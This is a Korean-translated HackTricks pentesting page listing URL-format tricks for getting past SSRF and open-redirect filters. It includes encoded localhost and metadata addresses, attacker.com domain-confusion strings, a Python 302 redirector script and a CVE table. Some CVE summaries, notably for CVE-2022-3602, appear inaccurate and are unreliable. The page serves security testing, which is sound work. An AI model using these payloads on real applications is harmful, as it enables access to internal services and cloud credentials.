URL Format Bypass

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋กœ์ปฌํ˜ธ์ŠคํŠธ

# Localhost
0 # Yes, just 0 is localhost in Linuc
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://127.1:80
http://127.000000000000000.1
http://0
http:@0/ --> http://localhost/
http://0.0.0.0:80
http://localhost:80
http://[::]:80/
http://[::]:25/ SMTP
http://[::]:3128/ Squid
http://[0000::1]:80/
http://[0:0:0:0:0:ffff:127.0.0.1]/thefile
http://โ‘ โ‘กโ‘ฆ.โ“ช.โ“ช.โ“ช

# CDIR bypass
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0

# Dot bypass
127ใ€‚0ใ€‚0ใ€‚1
127%E3%80%820%E3%80%820%E3%80%821

# Decimal bypass
http://2130706433/ = http://127.0.0.1
http://3232235521/ = http://192.168.0.1
http://3232235777/ = http://192.168.1.1

# Octal Bypass
http://0177.0000.0000.0001
http://00000177.00000000.00000000.00000001
http://017700000001

# Hexadecimal bypass
127.0.0.1 = 0x7f 00 00 01
http://0x7f000001/ = http://127.0.0.1
http://0xc0a80014/ = http://192.168.0.20
0x7f.0x00.0x00.0x01
0x0000007f.0x00000000.0x00000000.0x00000001

# Mixed encodings bypass
169.254.43518ย -> Partial Decimal (Class B) format combines the third and fourth parts of the IP address into a decimal number
0xA9.254.0251.0376ย -> hexadecimal, decimal and octal

# Add 0s bypass
127.000000000000.1

# You can also mix different encoding formats
# https://www.silisoftware.com/tools/ipconverter.php

# Malformed and rare
localhost:+11211aaa
localhost:00011211aaaa
http://0/
http://127.1
http://127.0.1

# DNS to localhost
localtest.me = 127.0.0.1
customer1.app.localhost.my.company.127.0.0.1.nip.io = 127.0.0.1
mail.ebc.apple.com = 127.0.0.6 (localhost)
127.0.0.1.nip.io = 127.0.0.1 (Resolves to the given IP)
www.example.com.customlookup.www.google.com.endcustom.sentinel.pentesting.us = Resolves to www.google.com
http://customer1.app.localhost.my.company.127.0.0.1.nip.io
http://bugbounty.dod.network = 127.0.0.2 (localhost)
1ynrnhl.xip.io == 169.254.169.254
spoofed.burpcollaborator.net = 127.0.0.1

Burp ํ™•์žฅ Burp-Encode-IP๋Š” IP ํ˜•์‹ ์šฐํšŒ๋ฅผ ๊ตฌํ˜„ํ•ฉ๋‹ˆ๋‹ค.

๋„๋ฉ”์ธ ํŒŒ์„œ

https:attacker.com
https:/attacker.com
http:/\/\attacker.com
https:/\attacker.com
//attacker.com
\/\/attacker.com/
/\/attacker.com/
/attacker.com
%0D%0A/attacker.com
#attacker.com
#%20@attacker.com
@attacker.com
http://169.254.1698.254\@attacker.com
attacker%00.com
attacker%E3%80%82com
attackerใ€‚com
โ’ถโ“‰โ“‰โ’ถโ’ธโ“€โ’บโ“ก.โ’ธโ“žโ“œ
โ‘  โ‘ก โ‘ข โ‘ฃ โ‘ค โ‘ฅ โ‘ฆ โ‘ง โ‘จ โ‘ฉ โ‘ช โ‘ซ โ‘ฌ โ‘ญ โ‘ฎ โ‘ฏ โ‘ฐ โ‘ฑ โ‘ฒ โ‘ณ โ‘ด โ‘ต โ‘ถ โ‘ท โ‘ธ โ‘น โ‘บ โ‘ป โ‘ผ โ‘ฝ โ‘พ
โ‘ฟ โ’€ โ’ โ’‚ โ’ƒ โ’„ โ’… โ’† โ’‡ โ’ˆ โ’‰ โ’Š โ’‹ โ’Œ โ’ โ’Ž โ’ โ’ โ’‘ โ’’ โ’“ โ’” โ’• โ’– โ’—
โ’˜ โ’™ โ’š โ’› โ’œ โ’ โ’ž โ’Ÿ โ’  โ’ก โ’ข โ’ฃ โ’ค โ’ฅ โ’ฆ โ’ง โ’จ โ’ฉ โ’ช โ’ซ โ’ฌ โ’ญ โ’ฎ โ’ฏ โ’ฐ
โ’ฑ โ’ฒ โ’ณ โ’ด โ’ต โ’ถ โ’ท โ’ธ โ’น โ’บ โ’ป โ’ผ โ’ฝ โ’พ โ’ฟ โ“€ โ“ โ“‚ โ“ƒ โ“„ โ“… โ“† โ“‡ โ“ˆ โ“‰
โ“Š โ“‹ โ“Œ โ“ โ“Ž โ“ โ“ โ“‘ โ“’ โ““ โ“” โ“• โ“– โ“— โ“˜ โ“™ โ“š โ“› โ“œ โ“ โ“ž โ“Ÿ โ“  โ“ก โ“ข
โ“ฃ โ“ค โ“ฅ โ“ฆ โ“ง โ“จ โ“ฉ โ“ช โ“ซ โ“ฌ โ“ญ โ“ฎ โ“ฏ โ“ฐ โ“ฑ โ“ฒ โ“ณ โ“ด โ“ต โ“ถ โ“ท โ“ธ โ“น โ“บ โ“ป โ“ผ โ“ฝ โ“พ โ“ฟ

๋„๋ฉ”์ธ ํ˜ผ๋™

# Try also to change attacker.com for 127.0.0.1 to try to access localhost
# Try replacing https by http
# Try URL-encoded characters
https://{domain}@attacker.com
https://{domain}.attacker.com
https://{domain}%6D@attacker.com
https://attacker.com/{domain}
https://attacker.com/?d={domain}
https://attacker.com#{domain}
https://attacker.com@{domain}
https://attacker.com#@{domain}
https://attacker.com%23@{domain}
https://attacker.com%00{domain}
https://attacker.com%0A{domain}
https://attacker.com?{domain}
https://attacker.com///{domain}
https://attacker.com\{domain}/
https://attacker.com;https://{domain}
https://attacker.com\{domain}/
https://attacker.com\.{domain}
https://attacker.com/.{domain}
https://attacker.com\@@{domain}
https://attacker.com:\@@{domain}
https://attacker.com#\@{domain}
https://attacker.com\anything@{domain}/
https://www.victim.com(\u2044)some(\u2044)path(\u2044)(\u0294)some=param(\uff03)hash@attacker.com

# On each IP position try to put 1 attackers domain and the others the victim domain
http://1.1.1.1 &@2.2.2.2# @3.3.3.3/

#Parameter pollution
next={domain}&next=attacker.com

Paths and Extensions Bypass

URL๊ฐ€ ๊ฒฝ๋กœ๋‚˜ ํ™•์žฅ์ž๋กœ ๋๋‚˜์•ผ ํ•˜๊ฑฐ๋‚˜ ๊ฒฝ๋กœ๋ฅผ ํฌํ•จํ•ด์•ผ ํ•˜๋Š” ๊ฒฝ์šฐ, ๋‹ค์Œ ์šฐํšŒ ๋ฐฉ๋ฒ• ์ค‘ ํ•˜๋‚˜๋ฅผ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
https://metadata/expected/path/..%2f..%2f/vulnerable/path

Fuzzing

The tool recollapse๋Š” ์ฃผ์–ด์ง„ ์ž…๋ ฅ์—์„œ ๋ณ€ํ˜•์„ ์ƒ์„ฑํ•˜์—ฌ ์‚ฌ์šฉ๋œ regex๋ฅผ ์šฐํšŒํ•˜๋ ค๊ณ  ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋” ๋งŽ์€ ์ •๋ณด๋Š” ์ด ๊ฒŒ์‹œ๋ฌผ์„ ํ™•์ธํ•˜์„ธ์š”.

Automatic Custom Wordlists

URL validation bypass cheat sheet ์›น์•ฑ์—์„œ ํ—ˆ์šฉ๋œ ํ˜ธ์ŠคํŠธ์™€ ๊ณต๊ฒฉ์ž์˜ ํ˜ธ์ŠคํŠธ๋ฅผ ์ž…๋ ฅํ•˜๋ฉด ์‹œ๋„ํ•  URL ๋ชฉ๋ก์„ ์ƒ์„ฑํ•ด์ค๋‹ˆ๋‹ค. ๋˜ํ•œ URL์„ ๋งค๊ฐœ๋ณ€์ˆ˜, Host ํ—ค๋” ๋˜๋Š” CORS ํ—ค๋”์—์„œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ๊ณ ๋ คํ•ฉ๋‹ˆ๋‹ค.

URL validation bypass cheat sheet for SSRF/CORS/Redirect - 2024 Edition | Web Security Academy

Bypass via redirect

์„œ๋ฒ„๊ฐ€ SSRF์˜ ์›๋ž˜ ์š”์ฒญ์„ ํ•„ํ„ฐ๋งํ•˜๊ณ  ๊ทธ ์š”์ฒญ์— ๋Œ€ํ•œ ๊ฐ€๋Šฅํ•œ ๋ฆฌ๋””๋ ‰์…˜ ์‘๋‹ต์€ ํ•„ํ„ฐ๋งํ•˜์ง€ ์•Š์„ ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.
์˜ˆ๋ฅผ ๋“ค์–ด, url=https://www.google.com/๋ฅผ ํ†ตํ•ด SSRF์— ์ทจ์•ฝํ•œ ์„œ๋ฒ„๋Š” url ๋งค๊ฐœ๋ณ€์ˆ˜๋ฅผ ํ•„ํ„ฐ๋งํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ python ์„œ๋ฒ„๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ 302๋กœ ์‘๋‹ตํ•˜๋ฉด ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ ค๋Š” ์œ„์น˜๋กœ ์ด๋™ํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํ•„ํ„ฐ๋ง๋œ IP ์ฃผ์†Œ์ธ 127.0.0.1 ๋˜๋Š” ํ•„ํ„ฐ๋ง๋œ ํ”„๋กœํ† ์ฝœ์ธ gopher์— ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
์ด ๋ณด๊ณ ์„œ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

#!/usr/bin/env python3

#python3 ./redirector.py 8000 http://127.0.0.1/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
print("Usage: {} <port_number> <url>".format(sys.argv[0]))
sys.exit()

class Redirect(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', sys.argv[2])
self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

์„ค๋ช…๋œ ํŠธ๋ฆญ

๋ธ”๋ž™์Šฌ๋ž˜์‹œ ํŠธ๋ฆญ

_๋ธ”๋ž™์Šฌ๋ž˜์‹œ ํŠธ๋ฆญ_์€ WHATWG URL ํ‘œ์ค€๊ณผ RFC3986 ๊ฐ„์˜ ์ฐจ์ด๋ฅผ ์ด์šฉํ•ฉ๋‹ˆ๋‹ค. RFC3986์€ URI์— ๋Œ€ํ•œ ์ผ๋ฐ˜์ ์ธ ํ”„๋ ˆ์ž„์›Œํฌ์ธ ๋ฐ˜๋ฉด, WHATWG๋Š” ์›น URL์— ํŠนํ™”๋˜์–ด ์žˆ์œผ๋ฉฐ ํ˜„๋Œ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ ์ฑ„ํƒ๋˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์ฃผ์š” ์ฐจ์ด์ ์€ WHATWG ํ‘œ์ค€์ด ๋ฐฑ์Šฌ๋ž˜์‹œ(\)๋ฅผ ํฌ์›Œ๋“œ ์Šฌ๋ž˜์‹œ(/)์™€ ๋™๋“ฑํ•˜๊ฒŒ ์ธ์‹ํ•˜์—ฌ URL์ด ํŒŒ์‹ฑ๋˜๋Š” ๋ฐฉ์‹์— ์˜ํ–ฅ์„ ๋ฏธ์น˜๋ฉฐ, ํŠนํžˆ URL์—์„œ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„์—์„œ ๊ฒฝ๋กœ๋กœ์˜ ์ „ํ™˜์„ ํ‘œ์‹œํ•˜๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค.

https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg

์™ผ์ชฝ ๋Œ€๊ด„ํ˜ธ

์‚ฌ์šฉ์ž ์ •๋ณด ์„ธ๊ทธ๋จผํŠธ์˜ โ€œ์™ผ์ชฝ ๋Œ€๊ด„ํ˜ธโ€ ๋ฌธ์ž [๋Š” Spring์˜ UriComponentsBuilder๊ฐ€ ๋ธŒ๋ผ์šฐ์ €์™€ ๋‹ค๋ฅธ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๊ฐ’์„ ๋ฐ˜ํ™˜ํ•˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://example.com[@attacker.com

๊ธฐํƒ€ ํ˜ผ๋ž€

https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

์ด๋ฏธ์ง€ ์ถœ์ฒ˜: https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-confusion/

IPv6 ์กด ์‹๋ณ„์ž (%25) ํŠธ๋ฆญ

RFC 6874๋ฅผ ์ง€์›ํ•˜๋Š” ํ˜„๋Œ€ URL ํŒŒ์„œ๋Š” ์กด ์‹๋ณ„์ž๋ฅผ ํผ์„ผํŠธ ๊ธฐํ˜ธ ๋’ค์— ํฌํ•จํ•  ์ˆ˜ ์žˆ๋Š” ๋งํฌ ๋กœ์ปฌ IPv6 ์ฃผ์†Œ๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋ณด์•ˆ ํ•„ํ„ฐ๋Š” ์ด ๊ตฌ๋ฌธ์„ ์ธ์‹ํ•˜์ง€ ๋ชปํ•˜๊ณ  ๋Œ€๊ด„ํ˜ธ๋กœ ๋ฌถ์ธ IPv6 ๋ฆฌํ„ฐ๋Ÿด๋งŒ ์ œ๊ฑฐํ•˜์—ฌ ๋‹ค์Œ ํŽ˜์ด๋กœ๋“œ๊ฐ€ ๋‚ด๋ถ€ ์ธํ„ฐํŽ˜์ด์Šค์— ๋„๋‹ฌํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค:

http://[fe80::1%25eth0]/          # %25 = encoded '%', interpreted as fe80::1%eth0
http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style)

๋Œ€์ƒ ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์ด ํ˜ธ์ŠคํŠธ๊ฐ€ ์•„๋‹ˆ๋ผ fe80::1์ธ์ง€ ๊ฒ€์ฆํ•˜์ง€๋งŒ %์—์„œ ํŒŒ์‹ฑ์„ ์ค‘๋‹จํ•˜๋ฉด ์š”์ฒญ์„ ์™ธ๋ถ€๋กœ ์ž˜๋ชป ์ฒ˜๋ฆฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ํ•ญ์ƒ ๋ณด์•ˆ ๊ฒฐ์ •์„ ๋‚ด๋ฆฌ๊ธฐ ์ „์— ์ฃผ์†Œ๋ฅผ ์ •๊ทœํ™”ํ•˜๊ฑฐ๋‚˜ ์„ ํƒ์  ์˜์—ญ ID๋ฅผ ์™„์ „ํžˆ ์ œ๊ฑฐํ•˜์‹ญ์‹œ์˜ค.

์ตœ๊ทผ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ํŒŒ์‹ฑ CVE (2022โ€“2025)

์—ฌ๋Ÿฌ ์ฃผ์š” ํ”„๋ ˆ์ž„์›Œํฌ๋Š” URL ๊ฒ€์ฆ์ด ์œ„์˜ ํŠธ๋ฆญ์œผ๋กœ ์šฐํšŒ๋œ ํ›„ SSRF์— ์•…์šฉ๋  ์ˆ˜ ์žˆ๋Š” ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๋ถˆ์ผ์น˜ ๋ฌธ์ œ๋กœ ๊ณ ํ†ต๋ฐ›์•˜์Šต๋‹ˆ๋‹ค:

์—ฐ๋„CVE๊ตฌ์„ฑ ์š”์†Œ๋ฒ„๊ทธ ๊ฐœ์š”์ตœ์†Œ PoC
2024CVE-2024-22243 / โ€‘22262Spring UriComponentsBuilder[๋Š” userinfo ์„น์…˜์—์„œ ํ—ˆ์šฉ๋˜์ง€ ์•Š์œผ๋ฏ€๋กœ https://example.com\[@internal์€ Spring์— ์˜ํ•ด ํ˜ธ์ŠคํŠธ example.com์œผ๋กœ ํŒŒ์‹ฑ๋˜์ง€๋งŒ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” internal๋กœ ํŒŒ์‹ฑ๋˜์–ด ํ˜ธ์ŠคํŠธ ํ—ˆ์šฉ ๋ชฉ๋ก์ด ์‚ฌ์šฉ๋  ๋•Œ ์˜คํ”ˆ ๋ฆฌ๋””๋ ‰์…˜ ๋ฐ SSRF๋ฅผ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•ฉ๋‹ˆ๋‹ค. Spring 5.3.34 / 6.0.19 / 6.1.6+๋กœ ์—…๊ทธ๋ ˆ์ด๋“œํ•˜์‹ญ์‹œ์˜ค.
2023CVE-2023-27592urllib3 <1.26.15๋ฐฑ์Šฌ๋ž˜์‹œ ํ˜ผ๋™์œผ๋กœ ์ธํ•ด http://example.com\\@169.254.169.254/๊ฐ€ @์—์„œ ๋ถ„ํ• ๋˜๋Š” ํ˜ธ์ŠคํŠธ ํ•„ํ„ฐ๋ฅผ ์šฐํšŒํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค.
2022CVE-2022-3602OpenSSL์ด๋ฆ„์ด .(์  ์—†๋Š” ๋„๋ฉ”์ธ ํ˜ผ๋™)์œผ๋กœ ๋๋‚  ๋•Œ ํ˜ธ์ŠคํŠธ ์ด๋ฆ„ ๊ฒ€์ฆ์ด ๊ฑด๋„ˆ๋›ฐ์–ด์กŒ์Šต๋‹ˆ๋‹ค.

ํƒ€์‚ฌ URL ํŒŒ์„œ์— ์˜์กดํ•  ๋•Œ, ์‹ ๋ขฐํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ๋ฐ˜ํ™˜๋œ ์ •๊ทœํ™”๋œ ํ˜ธ์ŠคํŠธ์™€ ์‚ฌ์šฉ์ž๊ฐ€ ์ œ๊ณตํ•œ ์›์‹œ ๋ฌธ์ž์—ด์„ ๋น„๊ตํ•˜์—ฌ ์ด๋Ÿฌํ•œ ๋ฌธ์ œ๋ฅผ ๊ฐ์ง€ํ•˜์‹ญ์‹œ์˜ค.

ํŽ˜์ด๋กœ๋“œ ์ƒ์„ฑ ๋„์šฐ๋ฏธ (2024+)

์ˆ˜๋™์œผ๋กœ ๋Œ€๊ทœ๋ชจ ์‚ฌ์šฉ์ž ์ •์˜ ๋‹จ์–ด ๋ชฉ๋ก์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์€ ๋ฒˆ๊ฑฐ๋กญ์Šต๋‹ˆ๋‹ค. ์˜คํ”ˆ ์†Œ์Šค ๋„๊ตฌ SSRF-PayloadMaker (Python 3)๋Š” ์ด์ œ ํ˜ผํ•ฉ ์ธ์ฝ”๋”ฉ, ๊ฐ•์ œ HTTP ๋‹ค์šด๊ทธ๋ ˆ์ด๋“œ ๋ฐ ๋ฐฑ์Šฌ๋ž˜์‹œ ๋ณ€ํ˜•์„ ํฌํ•จํ•˜์—ฌ 80k+ ํ˜ธ์ŠคํŠธ ๋ณ€ํ˜• ์กฐํ•ฉ์„ ์ž๋™์œผ๋กœ ์ƒ์„ฑํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

# Generate every known bypass that transforms the allowed host example.com to attacker.com
python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt

๊ฒฐ๊ณผ ๋ชฉ๋ก์€ Burp Intruder ๋˜๋Š” ffuf์— ์ง์ ‘ ์ž…๋ ฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

References

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ